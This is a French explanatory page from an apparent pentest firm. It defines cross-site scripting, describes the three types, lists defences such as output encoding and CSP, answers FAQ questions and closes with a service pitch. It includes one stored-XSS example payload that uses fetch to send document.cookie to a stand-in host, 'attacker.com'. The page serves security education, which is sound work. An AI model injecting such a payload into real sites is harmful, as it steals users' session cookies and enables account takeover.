XSS (Cross-Site Scripting) : définition et prévention
Le Cross-Site Scripting (XSS) est une vulnérabilité web qui permet à un attaquant d’injecter du code JavaScript malveillant dans les pages vues par d’autres utilisateurs. Présente dans l’OWASP Top 10, elle permet le vol de sessions, le détournement de comptes et la défiguration de sites.
Pentest web & API, audit IA, Toulouse, méthodologie OWASP/PTES
Les 3 types de XSS
- XSS réfléchi (Reflected) : le script malveillant est injecté via l’URL et exécuté immédiatement dans la réponse du serveur.
- XSS stocké (Stored) : le script est persisté en base de données et exécuté à chaque consultation de la page par un utilisateur.
- XSS DOM-based : l’injection se produit côté client, en manipulant le DOM JavaScript sans passer par le serveur.
Que peut faire un attaquant avec un XSS ?
Comment se protéger du XSS ?
- Échapper systématiquement les sorties HTML (output encoding).
- Utiliser une Content Security Policy (CSP) restrictive.
- Valider les entrées côté serveur et côté client.
- Configurer les cookies avec les flags
HttpOnlyetSameSite.
Exemple concret de XSS stocké
Un champ commentaire stocke le texte tel quel et l'affiche via innerHTML :
<div>Message: <script>fetch('//attacker.com/?c='+document.cookie)</script></div>Chaque visiteur exécute le script : le cookie de session est envoyé à l'attaquant. Score CVSS typique : 8.0 (Haut).
FAQ XSS
Les frameworks modernes (React, Vue, Angular) protègent-ils des XSS ?
Oui par défaut, via l'auto-escaping des chaînes. Les risques résiduels : dangerouslySetInnerHTML (React), v-html (Vue), bypassSecurityTrust (Angular) — tous bypassent la protection.
Une Content Security Policy (CSP) suffit-elle ?
Non. Une CSP stricte réduit fortement l'impact d'une XSS mais n'empêche pas l'injection elle-même. Elle doit venir en complément de l'escaping côté serveur et client.
XSS peut-elle mener à une compromission totale ?
Oui, via le vol de session admin, le CSRF auto-exécuté ou l'exfiltration de données via fetch. Sur un back-office admin, une XSS stockée équivaut souvent à une prise de contrôle complète.
Un scan automatique détecte-t-il toutes les XSS ?
Non. Les XSS réfléchies triviales oui, mais les DOM-based, les stockées conditionnées à un contexte utilisateur et les mutation XSS nécessitent un pentester manuel.
Besoin d'un pentest ?
Chez Laucked, nous testons vos applications web, API et intégrations sensibles avec une méthodologie OWASP/PTES. Diagnostic de surface gratuit, rapport sous 48-72h.
Demander un diagnostic gratuit